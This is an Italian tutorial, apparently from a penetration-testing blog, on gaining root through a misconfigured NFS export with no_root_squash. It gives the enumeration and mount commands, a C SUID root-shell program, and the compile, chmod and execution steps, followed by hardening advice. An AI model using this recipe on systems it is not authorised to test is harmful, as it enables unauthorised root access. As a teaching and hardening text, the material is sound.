Tutorials

Escalation dei Privilegi tramite NFS (Network File Sharing)

Il protocollo NFS Network File System permette di condividere directory e file su una rete tra più macchine Linux/Unix. Una configurazione impropria di NFS, in particolare l'opzione norootsquash, può

#exploitation#post-exploitation#linux#privesc

Escalation dei Privilegi tramite NFS (Network File Sharing)

Introduzione

Il protocollo NFS (Network File System) permette di condividere directory e file su una rete tra più macchine Linux/Unix. Una configurazione impropria di NFS, in particolare l'opzione no_root_squash, può introdurre gravi vulnerabilità e consentire a un attaccante di ottenere privilegi elevati tramite file con SUID.

File di configurazione

La configurazione delle share NFS è definita nel file:

bash
/etc/exports

Questo file specifica quali directory sono esportate e con quali permessi. Un esempio di riga con no_root_squash:

bash
/var/nfs_share 192.168.1.0/24(rw,no_root_squash,sync)
L'opzione no_root_squash permette al client remoto di mantenere i privilegi di root, rendendo possibile l'upload di file con bit SUID.

Enumerazione delle Share

Per visualizzare le share NFS disponibili su un target:

bash
showmount -e <target-ip>

Se una delle directory è montabile ed è configurata con no_root_squash, possiamo sfruttarla per eseguire escalation dei privilegi.

Montaggio della Share

1. Creiamo una directory locale:

bash
mkdir /tmp/nomedir

2. Montiamo la share esportata nella directory creata:

bash
mount -o rw <target-ip>:/<remote-share> /tmp/nomedir

Esempio:

bash
mount -o rw 10.10.10.10:/tmp /tmp/nomedir

Creazione dell'Exploit

Creiamo un file C per ottenere una shell con privilegi root:

c
#include <unistd.h>
int main() {
    setuid(0);
    setgid(0);
    system("/bin/bash");
    return 0;
}

Salviamo il file come exploit.c, poi compiliamolo:

bash
gcc exploit.c -o rootshell -w

Impostiamo il bit SUID:

bash
chmod +s rootshell

Copiamo rootshell nella directory montata:

bash
cp rootshell /tmp/nomedir/

Esecuzione sulla Macchina Vittima

Dal momento che la share NFS è montata sulla macchina vittima e no_root_squash è abilitato, il file caricato manterrà il bit SUID. Sulla macchina vittima:

bash
/tmp/rootshell

Questo eseguirà /bin/bash con UID 0, permettendoci di ottenere una shell root.

Considerazioni di Sicurezza

  • L'opzione no_root_squash è fortemente sconsigliata in ambienti di produzione.
  • Le share NFS dovrebbero essere accessibili solo a client fidati.
  • Utilizzare root_squash per mappare l'utente root dei client remoti a un utente non privilegiato (di solito nobody).

Conclusione

Questa tecnica di escalation dei privilegi sfrutta una cattiva configurazione di NFS. Un'adeguata segmentazione di rete, controlli sugli accessi e la corretta configurazione delle esportazioni sono fondamentali per prevenire questo tipo di attacchi.